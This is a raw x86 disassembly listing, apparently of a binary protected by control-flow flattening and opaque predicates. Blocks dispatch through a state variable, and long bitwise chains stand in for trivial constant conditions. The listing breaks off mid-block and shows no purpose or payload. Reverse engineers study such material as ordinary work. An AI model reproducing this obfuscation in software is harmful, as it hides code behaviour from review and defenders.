cmp byte [ebp - 0xa5], 0
mov eax, 0x5665888
mov ecx, 0xd1a2c2e1
cmovne eax, ecx
jmp 0x402740
cmp eax, 0xb6d87823
je 0x4106d0
cmp eax, 0xb77cd492
je 0x4106da
cmp eax, 0xb840ea56
jne 0x402740
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x12c]
mov eax, 0x196fc005
jmp 0x402740
cmp eax, 0x71b8f739
je 0x4106e7
cmp eax, 0x7237d649
je 0x410851
cmp eax, 0x731975b7
jne 0x402740
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*4]
mov word [ebp - 0xde], ax
mov eax, 0x824685b2
jmp 0x402740
cmp eax, 0xe2017b5f
je 0x4108de
cmp eax, 0xe3e880ba
je 0x41090c
cmp eax, 0xe3eb78d7
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x1f22c2d2
mov esi, edx
and esi, 0xe0dd3d2c
and edx, 0x9bb06c57
or ecx, esi
mov esi, ecx
xor esi, 0x222c252
xor ecx, 0xe0dd3d2d
mov edi, ecx
and edi, 0x3dc40581
and esi, 0xc23bfa7e
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x644f93a8
mov ebx, edi
not ebx
and edi, 0xc23bfa7e
or eax, edx
or ecx, ebx
and ebx, 0x3dc40581
xor eax, 0x644f93a8
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0xc48bf8c9
mov esi, ecx
not esi
and ecx, 0xad8c2581
and esi, 0x5273da7e
or ecx, esi
mov esi, 0x8aa4f8cd
xor ecx, 0xad8c2581
or eax, ecx
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x4f6180], 0xa
setge al
setl ch
mov cl, al
mov dh, ch
xor cl, dl
or dh, dl
and cl, dl
and dl, ch
mov ch, al
xor ch, ah
xor cl, 1
mov ebx, ecx
or cl, dh
and ch, al
and al, ah
or al, dl
xor bl, dh
xor cl, 1
or cl, bl
or al, ch
mov ebx, 0xc48bf8c9
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test dl, 1
cmovne eax, ebx
jmp 0x402740
cmp eax, 0x132ecfb3
je 0x41092e
cmp eax, 0x1330d7e3
je 0x410938
cmp eax, 0x13eea6b0
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x60848294
and ecx, 0xe2b616b
mov edx, eax
and edx, 0x91501c00
or esi, edx
xor esi, 0x60848294
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x82877bd4
and edx, 0x7d78842b
or ecx, edx
mov edx, ecx
xor edx, 0x7302c401
xor ecx, 0x808c0212
and ecx, 0x80dd2352
and edx, 0x7f22dcad
or edx, ecx
xor edx, 0x7f22dcad
or edx, eax
xor edx, 0xffffffff
sete ah
setne dl
cmp dword [0x4f6180], 0xa
setge ch
mov al, ch
xor al, dl
or dl, ch
or ch, ah
and al, ah
mov cl, dl
xor al, 1
xor cl, 1
mov ah, al
or al, ch
xor ah, ch
xor al, 1
or al, ah
mov ah, dl
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov edx, ecx
xor ah, al
xor dl, al
or al, cl
xor al, 1
xor ah, 1
or al, dl
mov edx, 0x23064699
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xd204ddbb
cmovne ecx, edx
test al, 1
mov edx, 0xd204ddbb
jmp 0x40272f
cmp eax, 0x8d48ba79
je 0x410aa5
cmp eax, 0x8ee44128
je 0x410b94
cmp eax, 0x8f026deb
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
mov eax, ecx
and eax, 0x7165bd44
mov edx, esi
and edx, 0x8e9a42ba
and esi, 0xe2afd824
or edx, eax
mov eax, ecx
or eax, 0x7165bd44
and ecx, 0x1d5027db
and eax, 0x7165bd45
or ecx, esi
xor eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0xa6a16806
and edx, 0x595e97f9
or edx, esi
mov esi, ecx
xor esi, 0x195007d9
xor ecx, 0xe2afd824
or eax, ecx
and ecx, 0xa6a16806
and esi, 0x595e97f9
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xadaea90
mov ecx, eax
not ecx
and eax, 0x61f52868
and ecx, 0x9e0ad797
or eax, ecx
xor eax, 0x61f52868
sete al
setne cl
cmp dword [0x4f6180], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
mov edx, 0x4238b97e
cmovne edx, esi
test al, al
mov esi, 0x4238b97e
jmp 0x411d0c
cmp eax, 0x4ebf2147
je 0x410ba1
cmp eax, 0x4f374b86
je 0x410bb6
cmp eax, 0x4f5ec245
jne 0x402740
mov eax, 0xbebcc4dd
jmp 0x402740
cmp eax, 0xf69e2173
je 0x410bdb
cmp eax, 0xf6d13f6c
je 0x410bff
cmp eax, 0xf748bf85
jne 0x402740
mov eax, 0xb1f28112
jmp 0x402740
cmp eax, 0x333102b5
je 0x410d9f
cmp eax, 0x3421a03a
je 0x410dac
cmp eax, 0x34a8cf10
jne 0x402740
mov eax, 0x85e9d9cc
jmp 0x402740
cmp eax, 0xac723131
je 0x410ed1
cmp eax, 0xacb4dd34
je 0x410edb
cmp eax, 0xaf2a3b0e
jne 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0x54e31bec
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xa02f4207
and ecx, 0x5fd0bdf8
or eax, ecx
mov ecx, eax
xor ecx, 0x800b0207
xor eax, 0x1fd09450
and eax, 0x3ff4d450
and ecx, 0xc00b2baf
or ecx, eax
mov esi, ecx
xor esi, 0xc00b2baf
mov edx, ecx
xor edx, 0x30901000
and ecx, 1
mov eax, esi
and esi, 0xfffffffe
or eax, 1
and edx, 0x7090322a
or ecx, esi
mov esi, eax
and esi, 0x8f6fcdd4
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7090322b
or eax, esi
and esi, 0x8f6fcdd4
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x169ef70f
and edx, 0xe96108f0
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe96108f0
or eax, esi
and esi, 0x169ef70f
or ecx, esi
not eax
mov esi, 0xc5889d28
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd8937d58
and ecx, 0x276c82a7
or eax, ecx
mov ecx, eax
xor ecx, 0x34050
xor eax, 0x20008206
and eax, 0xf890bf0e
and ecx, 0x76f40f1
or ecx, eax
xor ecx, 0x76f40f1
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov ah, dl
mov cl, dh
xor dl, al
xor ah, 1
xor al, 1
xor cl, ch
or al, ah
xor al, 1
and cl, dh
or al, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, al
xor al, 1
xor ah, al
and al, cl
and ah, cl
or al, dl
mov edx, 0x54e31bec
mov cl, ah
xor cl, al
test al, 1
cmovne edx, esi
test ah, ah
cmove edx, edi
test cl, 1
jmp 0x40c458
cmp eax, 0x6b55c60e
je 0x410ee5
cmp eax, 0x6c8038ab
je 0x410ef8
cmp eax, 0x6d811fed
jne 0x402740
mov eax, 0x35440f5f
jmp 0x402740
cmp eax, 0xd1a2c2e1
je 0x410f02
cmp eax, 0xd204ddbb
je 0x410f15
cmp eax, 0xd30bac0d
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0x2032ec4d
not edx
mov ecx, edx
and esi, eax
and ecx, 0x2032ec4d
and edx, 0xb3933894
and eax, 0x4c6cc76b
or esi, ecx
or eax, edx
mov ecx, esi
not ecx
and esi, 0x2941cff8
and ecx, 0xd6be3007
or esi, ecx
mov ecx, esi
xor ecx, 0x1530200
xor esi, 0x40c840a
and esi, 0xc2ca5be
and ecx, 0xf3d35a41
or ecx, esi
mov esi, ecx
xor esi, 0xc2911800
xor ecx, 0xc2ca5be
mov edx, ecx
and edx, 0x3166c3e3
and esi, 0xce993c1c
or esi, edx
mov edx, eax
xor edx, 0x4c080408
xor eax, 0xb3933894
or ecx, eax
and eax, 0x3166c3e3
and edx, 0xce993c1c
or edx, eax
not ecx
xor edx, esi
mov esi, 0x22d27257
or ecx, edx
xor ecx, 0xffffffff
sete cl
setne ah
cmp dword [0x4f6180], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor ah, dl
mov edx, eax
xor dl, 1
and ah, ch
mov ch, al
mov cl, dl
and cl, al
xor cl, 1
xor ch, cl
or cl, al
or al, ah
xor cl, 1
xor al, 1
or cl, ch
mov ch, cl
xor cl, 1
and ch, ah
xor ah, 1
xor dl, ah
and cl, ah
or al, dl
or cl, ch
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xebfae55d
cmovne eax, esi
test cl, 1
mov ecx, 0xebfae55d
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402740
cmp eax, 0x261bee62
je 0x41126b
cmp eax, 0x2696e5a9
je 0x411275
cmp eax, 0x27f87c90
jne 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0xb77cd492
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xc1e20520
mov ecx, edx
and ecx, 0x3e1dfade
and edx, 0x66684781
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0x9997b87e
xor esi, 0xc1e20520
or eax, edx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xc05236d7
mov esi, edx
and esi, 0x3fadc928
or ecx, esi
mov esi, eax
xor esi, 0x80123056
xor eax, 0x26284100
and eax, 0x3fadc928
and esi, 0xc05236d7
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xfbf48136
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setge al
setl cl
mov ch, al
and ah, cl
xor cl, dl
xor ch, dl
and ch, al
and al, dl
or cl, ch
or al, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test dl, 1
mov edx, 0xb77cd492
cmovne edx, esi
test al, al
cmove edx, edi
test cl, 1
jmp 0x40e688
cmp eax, 0x9aac6ec0
je 0x41127f
cmp eax, 0x9c9a931d
je 0x411548
cmp eax, 0x9d53e982
jne 0x402740
mov eax, 0x90a43788
jmp 0x402740
cmp eax, 0x5b5ae0cc
je 0x4116d6
cmp eax, 0x5d3dd384
je 0x4117c0
cmp eax, 0x5d5141b3
jne 0x402740
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xb8]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [eax], 0
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x409068c9
mov esi, ecx
mov edi, ecx
or esi, 0x88268420
and edx, 0xc8b6ece9
and edi, 0x21400300
and ecx, 0xf9792d46
or edi, edx
mov edx, eax
and esi, 0xc8b6ece9
and edx, 0x16091016
and eax, 0x686d2b9
or edx, esi
or eax, ecx
xor edx, edi
mov ecx, eax
xor ecx, 0x686d2b9
xor eax, 0xf9792d46
mov esi, edx
not esi
and edx, 0xa9668721
and esi, 0x569978de
or edx, esi
mov esi, 0x6f25e41b
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
or dl, ah
and ch, cl
and dh, al
xor al, ah
and al, ah
mov ah, dl
or dh, ch
xor al, 1
xor cl, dh
xor ah, al
or al, dl
and cl, dh
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, dl
xor ah, 1
or dl, ah
and ah, cl
mov ecx, 0x992d0ddb
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, 1
mov esi, 0x992d0ddb
jmp 0x4133d9
cmp eax, 0x50b44ba
je 0x4117ca
cmp eax, 0x51f69c3
je 0x4118bb
cmp eax, 0x53e471b
jne 0x402740
cmp byte [ebp - 0xa4], 0
mov eax, 0x8d48ba79
mov ecx, 0x27f87c90
cmovne eax, ecx
jmp 0x402740
cmp eax, 0x41bbbb39
je 0x411a62
cmp eax, 0x41f9cdf1
je 0x411a6c
cmp eax, 0x422274be
jne 0x402740
mov eax, dword [ebp - 0xb0]
mov ecx, dword [0x4f6184]
mov esi, 0x3151d1a9
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 1
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4f6180], 0xa
setl ch
setge al
or ch, dl
mov cl, al
or al, ah
mov dl, ch
xor cl, ah
xor dl, al
or al, ch
and cl, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
mov ch, ah
xor ah, dl
and dl, al
or al, cl
xor al, 1
and ch, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbf508e32
cmovne ecx, esi
test al, 1
mov eax, 0xbf508e32
jmp 0x414567
cmp eax, 0xbd5c6e15
je 0x411a7c
cmp eax, 0xbd798282
je 0x411a86
cmp eax, 0xbe8f9dc0
jne 0x402740
mov eax, 0x96beb23c
jmp 0x402740
cmp eax, 0x7c9d1fe3
je 0x411a99
cmp eax, 0x7d1bb17e
je 0x411aa3
cmp eax, 0x7d6dea89
jne 0x402740
mov eax, dword [ebp - 0x168]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x94]
push dword [ebp - 0xc4]
push dword [ebp - 0x160]
push dword [ebp - 0x164]
push eax
vzeroupper
call fcn.00401c20
add esp, 0x10
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x58]
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x8710a688
mov esi, eax
and esi, 0x78494002
and eax, 0x1b9966b9
or edx, esi
mov esi, edx
xor esi, 0x8510a088
xor edx, 0x78ef5977
mov edi, edx
and edi, 0x7aa85e70
and esi, 0x8551a08a
or esi, edi
mov edi, ecx
xor edi, 0xff59e68a
and edi, ecx
and ecx, 0xe4669946
mov ebx, edi
not ebx
and edi, 0x8557a18f
or eax, ecx
or edx, ebx
and ebx, 0x7aa85e70
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xf24a178e
and esi, 0xdb5e871
or edx, esi
mov esi, edx
xor esi, 0x9116001
xor edx, 0xf2ec0efa
mov edi, edx
and edi, 0xe4669946
and esi, 0x1b9966b9
or esi, edi
mov edi, 0xf748bf85
xor eax, esi
mov esi, 0xb65504b3
xor edx, eax
test edx, eax
setne dl
sete ch
cmp dword [0x4f6180], 0xa
mov dh, dl
setge cl
setl ah
mov al, cl
mov ebx, ecx
and dh, ah
xor ah, ch
xor al, ch
and bl, ch
or ch, cl
not al
or bl, dh
xor ch, 1
and al, cl
or cl, dl
xor cl, 1
or al, ch
or cl, ah
xor cl, 1
or cl, bl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0xf748bf85
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, edi
test al, al
jmp 0x402735
cmp eax, 0xddf64c29
je 0x411ab8
cmp eax, 0xde0bf6ec
je 0x411ad9
cmp eax, 0xde3f5ad1
jne 0x402740
mov eax, 0xb96042e4
jmp 0x402740
cmp eax, 0x98918a9
je 0x411c42
cmp eax, 0x98d709e
je 0x411c4c
cmp eax, 0xa6c91a3
jne 0x402740
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
lea eax, [eax + eax*4]
shl eax, 2
add eax, dword [ebp - 0x140]
mov ecx, dword [0x4f6184]
mov dword [ebp - 0x144], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xb50ab2fa
and ecx, 0x4af54d05
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcd26b477
and ecx, 0x32d94b88
or eax, ecx
mov ecx, eax
xor ecx, 0x4812800
mov edx, eax
mov esi, eax
xor edx, 0x782c068d
xor esi, 0x14a12888
xor eax, 0x2419922
and esi, edx
and ecx, 0x6c8d2e05
or edx, 1
and eax, 0x2a499fae
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x9372d1fb
and esi, 0x6c8d2e04
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x2a499fae
mov edi, esi
or esi, edx
and edi, 0xd5b66051
and edx, 0xd5b66051
or ecx, edi
or eax, edx
not esi
xor eax, ecx
or esi, eax
xor esi, 0xffffffff
mov esi, 0x97942341
sete cl
setne dl
cmp dword [0x4f6180], 0xa
setl ch
setge ah
mov dh, ch
or cl, ah
xor dh, dl
or dl, ch
xor cl, 1
xor dl, 1
mov al, dh
or cl, dl
xor al, ah
mov ah, cl
mov dl, cl
and al, dh
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x680eba10
cmovne eax, esi
test dl, 1
mov edx, 0x680eba10
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402740
cmp eax, 0x81f3f614
je 0x411d1b
cmp eax, 0x824685b2
je 0x411d25
cmp eax, 0x82572910
jne 0x402740
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ecx], eax
mov eax, 0x4b6a2051
jmp 0x402740
cmp eax, 0x463538da
je 0x411eed
cmp eax, 0x46e40950
je 0x411f06
cmp eax, 0x4710510d
jne 0x402740
mov eax, 0xd30bac0d
jmp 0x402740
cmp eax, 0xed8dfb55
je 0x411f16
cmp eax, 0xee9e3fd7
je 0x4120f6
cmp eax, 0xef067433
jne 0x402740
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, 0x22029054
jmp 0x402740
cmp eax, 0x2becd26e
je 0x412100
cmp eax, 0x2cb80a19
je 0x41210a
cmp eax, 0x2cddb435
jne 0x402740
mov eax, dword [0x4f6184]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
xor ecx, 0x5691990a
mov edx, esi
mov eax, esi
not edx
or eax, 0xa96e66f5
and ecx, esi
mov edi, eax
and edi, 0xef89ae85
and edx, 0x1010110a
mov esi, ecx
not esi
and ecx, 0x1076517a
or edx, edi
or eax, esi
and esi, 0xef89ae85
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x190b9aff
and ecx, 0xe6f46500
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0xb0a02a4
xor esi, 0xb065fc0a
xor eax, 0x45000200
mov ecx, esi
and ecx, 0xc4f1c153
and edx, 0x3b0e3eac
or esi, 0x41472
and eax, 0x55010a08
or edx, ecx
and esi, 0x880e9476
mov ecx, edx
xor edx, 0xc4f1c153
xor ecx, 0x3b0e3eac
or eax, esi
mov edi, edx
or edi, 0x880a8004
mov ebx, ecx
and ebx, 0x22f06181
and edx, 0xaf2f0056
and edi, 0x880e9476
or ebx, edi
mov edi, 0x4369fa2f
xor eax, ebx
mov esi, eax
not esi
and eax, 0x22f475f2
and esi, 0xdd0b8a0d
or eax, esi
mov esi, ecx
and esi, 0x50d0ffa9
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x5000011
xor esi, 0x50d0d7a8
or ecx, edx
mov edx, eax
and esi, 0xfaffd7ee
not edx
and eax, 0x5f0b3499
and ecx, 0x5002811
or ecx, esi
mov esi, edx
and esi, 0xa0f4cb66
or eax, esi
mov esi, ecx
xor esi, 0x5002011
xor ecx, 0xfaffd7ee
or edx, ecx
and ecx, 0xa0f4cb66
and esi, 0x5f0b3499
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0x46e40950
xor edx, 0xffffffff
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setge cl
setl ch
mov al, cl
xor cl, ah
and ah, ch
or ch, dl
xor cl, 1
and al, dl
mov edx, ecx
or cl, ch
or al, ah
xor dl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0x4369fa2f
xor al, ah
test al, 1
cmovne edx, esi
test ah, ah
jmp 0x40cf68
cmp eax, 0xa20cb2df
je 0x412194
cmp eax, 0xa3785b7d
je 0x41219e
cmp eax, 0xa43109a6
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x22b0000e
mov esi, eax
and esi, 0x412150
and eax, 0x6a38694c
or edx, esi
mov esi, ecx
xor esi, 0x22f1215e
and esi, ecx
xor edx, 0x22b0000e
and ecx, 0x95c796b3
or edx, esi
not esi
or eax, ecx
and esi, 0xdd0edea0
and edx, 0x22f1215f
or edx, esi
mov esi, edx
not esi
and edx, 0x6a38694c
mov edi, esi
and edi, 0x95c796b3
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x5da52c39
setne dl
sete ah
cmp dword [0x4f6180], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
xor dl, 1
xor cl, 1
or cl, al
or al, ah
xor al, 1
xor cl, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xe747fd16
cmovne ecx, esi
test al, 1
mov eax, 0xe747fd16
cmovne eax, ecx
jmp 0x40c512
cmp eax, 0x60f6c986
je 0x4121a8
cmp eax, 0x62423324
je 0x41232f
cmp eax, 0x62d9a01c
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xa16ff848
and ecx, 0x5e9007b7
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x40800021
xor ecx, 0xa16ff848
xor eax, 0xd5bf6a38
mov esi, ecx
and edx, 0xc1e79061
and esi, 0x3e186f9e
and eax, ecx
or esi, edx
mov edx, esi
xor edx, 0x3e186f9e
xor esi, 0x81248000
mov ecx, edx
and ecx, 0x74d09270
and esi, 0xa334e18c
and edx, 0x5ccb1e72
or ecx, eax
not eax
or edx, esi
and eax, 0x8b2f6d8e
and ecx, 0x74d09271
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xdbf691a7
mov esi, eax
and esi, 0x24096e58
or ecx, esi
mov esi, edx
xor esi, 0x58c21022
xor edx, 0xa334e18d
or eax, edx
and edx, 0x24096e58
and esi, 0xdbf691a6
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xb58529f0
mov ecx, eax
not ecx
and eax, 0x78042f86
and ecx, 0x87fbd079
or eax, ecx
mov ecx, eax
xor ecx, 0x6f1c040
xor eax, 0x40000f80
and eax, 0xc10a1fb9
and ecx, 0x3ef5e046
or ecx, eax
xor ecx, 0x3ef5e046
setne dl
sete ah
cmp dword [0x4f6180], 0xa
setge cl
setl al
mov ch, cl
and dl, al
xor al, ah
xor ch, ah
and ch, cl
and cl, ah
mov ah, al
or cl, dl
xor ah, 1
mov edx, eax
and dl, ah
or cl, ch
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x60a8f2d6
cmovne esi, eax
test cl, 1
mov eax, 0xb58529f0
cmovne eax, esi
jmp 0x40bcb7
cmp eax, 0xc58cb6de
je 0x41248b
cmp eax, 0xc64e2752
je 0x412495
cmp eax, 0xc6748e98
jne 0x402740
mov eax, 0xebf01419
jmp 0x402740
cmp eax, 0x19958bbd
je 0x4124b1
cmp eax, 0x19aeb15b
je 0x41257b
cmp eax, 0x1a57a371
jne 0x402740
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x120], eax
mov eax, dword [0x4f6184]
lea esi, [eax + 1]
imul esi, eax
mov edx, esi
mov ecx, esi
xor ecx, 0x833b119e
mov eax, esi
not edx
or eax, 0x7cc4ee61
and ecx, esi
mov esi, eax
and esi, 0x279a6329
and edx, 0x80211096
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd8659cd6
or eax, esi
and esi, 0x279a6329
or ecx, esi
not eax
mov esi, 0x516df156
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe325967f
and ecx, 0x1cda6980
or eax, ecx
mov ecx, eax
xor eax, 0x17c00016
xor ecx, 0x601e87e1
mov edx, ecx
and eax, 0x57cc07f7
and ecx, 0xa833f808
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0xa833f809
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x90099032
mov edx, eax
and edx, 0x46402400
and eax, 0x29b64bcd
or ecx, edx
xor ecx, 0x90099032
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x547b3672
mov edx, ecx
and edx, 0xab84c98d
or eax, edx
xor eax, 0x547b3672
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x4f6180], 0xa
setge cl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ch, dl
xor ch, cl
and cl, dl
and ch, dl
or cl, al
mov edx, 0x7e68070b
mov al, ch
xor al, cl
cmovne edx, esi
test cl, cl
mov eax, edx
cmovne eax, esi
jmp 0x412e11
cmp eax, 0x93b2a502
je 0x412585
cmp eax, 0x93c33358
je 0x412673
cmp eax, 0x93f3026e
jne 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0x62423324
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x85999a94
mov esi, eax
and esi, 0x85999a94
and edx, 0x7a66656a
and ecx, 0x85999a95
or edx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xc9cf7fc6
xor edx, ecx
test edx, ecx
sete dl
setne ch
cmp dword [0x4f6180], 0xa
setl ah
setge cl
mov al, ah
mov dh, ah
xor al, ch
or dh, ch
not al
and al, ch
xor al, 1
mov ebx, eax
or al, dh
xor bl, dh
mov dh, cl
or cl, ch
and ch, ah
xor ah, dl
xor al, 1
and dh, dl
xor cl, 1
or al, bl
or dh, ch
or cl, ah
xor al, 1
xor dh, 1
mov dl, dh
or dh, cl
xor dl, cl
xor dh, 1
or dh, dl
mov cl, dh
xor cl, al
or al, dh
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x62423324
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x402740
cmp eax, 0x53e10b4e
je 0x412683
cmp eax, 0x53e8402c
je 0x41268d
cmp eax, 0x53ea7eda
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4bd8e198
mov esi, edx
and esi, 0xb4271e66
and edx, 0xaa263d73
